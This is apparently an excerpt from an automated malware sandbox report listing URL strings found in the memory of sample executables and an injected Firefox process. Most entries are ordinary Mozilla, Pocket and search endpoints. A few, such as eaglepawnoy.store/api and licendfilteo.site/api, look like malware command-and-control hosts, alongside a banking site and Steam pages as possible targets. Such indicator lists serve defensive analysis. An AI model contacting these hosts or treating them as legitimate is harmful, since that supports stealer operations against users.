Source: file.exe, 00000000.00000003.2094217031.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tilesF
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001A.00000002.3213356534.000001EE30842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3089658099.000001EE30842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3083659501.000001EE30842000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3302819914.0000057821204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000002.3292321816.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3214859030.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303658393.000019BB45504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304638949.00002FDF56B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3075217383.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001A.00000002.3187754650.000001EE2F924000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store:443/apia
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3303939090.0000237DE8D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3146151572.000001EE2AAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabhttps://bugzilla.mozilla.org/show_bug.cgi?id=15
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.3171773023.000001EE2E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000003.3003033062.000001EE2E41D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3002704138.000001EE2EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650browser.urlbar.keepPanelOpenDuringImeCompositionexper
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3302819914.0000057821204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.3217553751.000001EE30A20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3106775006.000001EE30A26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3275863196.000001EE31440000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3105500898.000001EE30A20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3212142870.000001EE30724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000002.3150497786.000001EE2BBD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site/api
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001656000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site/apiL
